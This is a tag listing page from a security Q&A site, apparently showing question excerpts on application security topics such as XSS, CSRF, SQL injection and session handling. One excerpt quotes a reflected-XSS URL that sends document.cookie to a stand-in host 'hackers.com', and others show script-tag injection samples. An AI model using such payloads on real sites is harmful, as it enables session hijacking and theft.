Application security - Specific to securing an application rather than the connection, infrastructure, browser etc

learn more… | top users | synonyms (1)

94
votes
9answers
56k views

Why can we still crack snapchat photos in 12 lines of Ruby?

Just came across this bit of ruby that can be used to decrypt snapchat photos taken out of the cache on a phone, apparently adapted from here. To my surprise, it worked no problem, considering the ...
2
votes
2answers
215 views

safe methods of generating session keys

So I have this web app where I'm supposed to generate my own session key to use in the session manager. I just have few questions about safe approaches to this. I believe to make this safe it should ...
1
vote
0answers
64 views

Is CVE-2011-1571 fixed in tomcat?

I dont see any record of CVE-2011-1571 being fixed in tomcat based on ASF' security reports for tomcat itself. Usually they specify the CVE number and information about the fix. This was 3 years ago ...
9
votes
4answers
304 views

What are the main security considerations that must be taken into account if you intend on creating a (localised) whistleblower website?

Also: Is it something that can be achieved with limited funds? I ask because I am intrigued by the obstacles that are in place.
0
votes
1answer
44 views

How could a comments plugin be securely loaded from domains people are already logged into?

The fundamental idea is to load a blog comments plugin (like Disqus) from a domain someone is already logged into to save users time and increase engagement. I like the facebook comments plugin ...
2
votes
2answers
130 views

Where is the Line? [closed]

A comment posted on one of my questions the other day raised a question in my head. I know that many site admins appreciate users reporting bugs and security holes, and as a user I appreciate people ...
10
votes
4answers
526 views

Does my UI need to be secure if my API is?

I'm working on a project that is creating two new, separate web modules (possibly even on different servers) to support a new web application, with one serving up a static JS-based UI and the other ...
8
votes
2answers
570 views

Zlib DEFLATE decompression bomb

Can you give me an example of a short data string that, when decompressed using Zlib's DEFLATE method, expands to something much much longer? More precisely: what is the nastiest decompression bomb ...
2
votes
2answers
1k views

API Security Testing Methodologies

I have been encountering more and more clients needing their API (usually REST) endpoints tested for vulnerabilities and wanted to reach out to see if anyone has some recommendations beyond what I ...
2
votes
2answers
239 views

Building a web application security focused team

I work as an application architect at larger company that builds web applications using both .Net and Java technologies. These are sold to and accessed by other businesses (not consumers). We have ...
4
votes
1answer
2k views

Why does Directory traversal attack %C0%AF work?

Introduction: I am trying to learn the basics of Directory Traversal. Question: While trying to understand the 2-Byte Unicode conversion of characters, I came across this_SANS ARTICLE that explains ...
0
votes
1answer
695 views

Intercepting HTTP requests from a Java Application [duplicate]

I was wondering if anyone knew of a way of capturing and modifying the requests sent out by a Java application over HTTP. I can see them in Wireshark, but I also want to be able to modify them in ...
2
votes
2answers
502 views

Required skills before jumping into vulnerability research

Hello I'm a beginner into IT security. I want to become ethical hacker. So I know how to use metasploit to write exploits, and how to use different fuzzers, but I think this isn't enough. I can read ...
5
votes
5answers
613 views

Penetration testing reported ZERO vulnerabilities. Does this mean my web app is secure?

I've spent many hours on whitebox testing to make sure my code was safe. From a theoretical standpoint, the code SHOULD be safe. I then used several widely known testing tools (including one that ...
2
votes
2answers
1k views

NX bit: does it protect the stack?

I once heard the NX bit was a panacea, then that it was not. One detail I've wondered about though: Does the NX (no execute) bit protect against code inserted into the stack and executed there? It ...
0
votes
1answer
75 views

How to pass an email address securely to a web application X embedded inside a web application Y

The scenario I'm trying to address is this: There is a web application Y which has an authenticated user. Inside Y, web application X is hosted (which belongs to a different domain). When X is ...
16
votes
3answers
848 views

Why CSRF Token has to be a Cryptographically Strong Random number, in Double Submit Cookies method?

I was just going through the OWASP's Cheat Sheet for CSRF Prevention. In the Double Submit Cookies method, I saw this the site should generate a (cryptographically strong) pseudorandom value ...
3
votes
1answer
3k views

Token authentication and storage / websocket issues

My application is running an API authentication that uses tokens rather than cookies. This leads me to ask a few questions : What is the most secure way to store the token ? By using random ...
-6
votes
1answer
394 views

How can I succesfully pentest site with two factor authentication? [closed]

I want to use a commercial, automated tool but it cannot login successfully because the website requires a two factor authentication process using SMS. For testing, the SMS message is sent to another ...
4
votes
3answers
164 views

Can “remember me” be done securely on an accountless website?

I have a website that lets users submit a form without having to create an account and log in. However, in order to keep users accountable for their submissions, the form requires them to provide ...
4
votes
2answers
292 views

XSS when <, > and " are escaped

I'm pentesting a website that has a reflected XSS, or at least a vector for a reflection, but the issue is the following : It escapes <, >, " to their URL entities (not &, ) or () You are ...
16
votes
4answers
765 views

Tricky code to make memory-safe

I'm designing a homework challenge for students who are learning about memory safety and writing secure C code. As part of this, I am looking for a small programming task where it's non-trivial to ...
13
votes
3answers
3k views

Is SSL secure enough for a REST API - has anyone used PGP or AES to encrypt the actual data inside SSL?

Perhaps I'm being overly paranoid, but after reading recent news regarding network security I'm starting to believe that SSL isn't quite enough anymore for sensitive data transmissions. Ref: ...
3
votes
3answers
288 views

Can a mismatched server encoding on HTTP POST or GET result in a security issue?

It is possible for a server to parse HTTP POST and GET data with a fixed encoding or one that is dynamic with the client's response. Consider the situation where a client uses UTF7,32 or any other ...
2
votes
1answer
3k views

Sqlmap - appears to be UNION injectable

I am using sqlmap for finding out sql-injection threat on our application. So, here is my url : " http://myurl.net/question/teaching/answer/sujan-justice?as=Course ", and i tried to perform the ...
3
votes
2answers
532 views

How secure is the private storage of a mobile app

Are there any know security flaws/hacks to gain access to the private storage(file system or SQLite database) of Android and iOS applications? What measures do Google and Apple take to "prevent" ...
1
vote
1answer
124 views

Reliability of windows OS security for “program files” safe guard

I want to do inter process communication between Firefox (via extension) and my application. Both reside in "Program files" (of windows 7 OS). I also assume that malware is running in the system and ...
0
votes
1answer
99 views

Verifying one specific attack vector of Cross Site Scripting

Burp suggests that there is a reflection.. It changes a value of a cookie named as x as x=<script src=abc.js> and in response this value gets injected to a javascript function.. <script ...
2
votes
1answer
695 views

Using Selenium tool for xss scripts

Ok, so i need to know can Selenium webdriver tool be used for testing xss vulnerabilities and exploits. If its possible, then pleasee provide me with some example or tutorial. Apologizes, if am wrong ...
0
votes
1answer
83 views

Applications security review [closed]

When a company wants to buy a new application, the security aspects must be reviewed (access rights, privileges, logs, data integrity ... etc). Is there a standard for applications security reviews? ...
2
votes
2answers
254 views

Are there “LAN IPs” on the internet?

I have a home-made web application and thought that an easy way to secure it's administration interface would be to simply reject all IPs that arent from 192.168... Is this viable? is it possible for ...
1
vote
3answers
1k views

Are there any web application security standards?

Are there any web application security standards that I can use as a baseline for the security related requirements for a web application, web service, and for applications supported/hosted by third ...
-1
votes
1answer
266 views

Cross site scripting in url? [duplicate]

I currently have a xss problem in this site. https://bbcpanningen.cupweb6.nl:1311/servlet/OMSALogin?msgStatus="><script>alert("hello") </script> But I don't understand how an ...
1
vote
1answer
353 views

Bounds checking using Intel's MPX

Intel has recently added new instructions to their instruction set to support bounds checking. Intel calls them the Memory Protection Extensions (MPX), and they are described in Chapter 9 of this ...
6
votes
3answers
608 views

XSS scripts in console

Well i need to know is it possible to enter xss script through console of developer's tools(e.g. : firebug of firefox)? Is this a proper way ?
-5
votes
1answer
113 views

Recommendations about procedures and policies for an application security strategy? [closed]

I need to develop an application security strategy for a web application product. Do you have any recommendations as far as procedures and policies are concerned? Any inputs / guidelines or relevant ...
1
vote
4answers
1k views

Can Cross site scripting lead to database access?

I wanna know that weather a site having XSS vulnerability can lead the hacker to access database? I know that he can get the username and password from the cookie stored but can he completely access ...
1
vote
2answers
11k views

sqlmap unable to find SQL injection vulnerablitity

so i just started up with sqlmap to learn sql injection vulnerability on my application. Here I followed steps as per some tutorials. So this are the steps which i followed : sqlmap.py -u ...
0
votes
1answer
104 views

How to track MAC policy violations back to HTTP request?

Suppose there is a web application under public load that runs under a very restrictive MAC (e.g., SELinux, TOMOYO, Grsecurity) policy. Suppose we detect and log a MAC policy violation like a file ...
2
votes
0answers
70 views

Is it safe to remove these groups from the Local Security Policy area?

I'm trying to edit a particular section inside the Local Security Policy snap in and I'm wondering if I really need to give all of these groups (I think they're groups) permissions. Based on this ...
2
votes
1answer
122 views

Setting expectations of a vulnerability assessment?

Is it reasonable to refuse to guarantee that you will find 100% of security issues when doing a vulnerability assessment on a website? Even with companies like Google that have teams of security ...
1
vote
1answer
316 views

PHP gethostbyname security implications

I'm working on a PHP application. There is a requirement to find IP's by hostname and i have to resort to gethostbynamel for that. Looks like there is no other way. I was wondering if there are any ...
2
votes
2answers
6k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
1
vote
4answers
688 views

Comparing Man-in-the-Middle with Man-in-the-Browser

According to OWASP the Man-in-the-Browser (Malware-in-the-Middle) attack uses the same approach as Man-in-the-middle attack, but the differences is that interception is done at the application layer ...
4
votes
2answers
1k views

XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
5
votes
1answer
2k views

CSRF prevention for RESTful services

Am I right If I claim on that there doesn't exist any reliable protection against CSRF for a stateles environment today? I have a RESTful service (build with RESTEasy) that needs to be secured against ...
1
vote
1answer
207 views

Course project that teaches secure design

I'm looking for a class project that (1) is scalable to large classes, and (2) teaches secure design. This is for an undergraduate course on computer security. Hopefully, it would be educational and ...
1
vote
2answers
223 views

Queues for Mobile Web Application Security Architecture?

Dear Security Mavens (of which I am not), Your thoughts & suggestions regarding an application architecture for a mobile web application (e.g., HTML5 with Sencha Touch) are invited & ...
3
votes
4answers
945 views

How should a webmaster manage all her passwords and keys?

I have several private keys that I use to ssh into AWS, dreamhost, github, etc. I have passphrases for all of these private keys that are too complex to remember. I have mysql passwords that my ...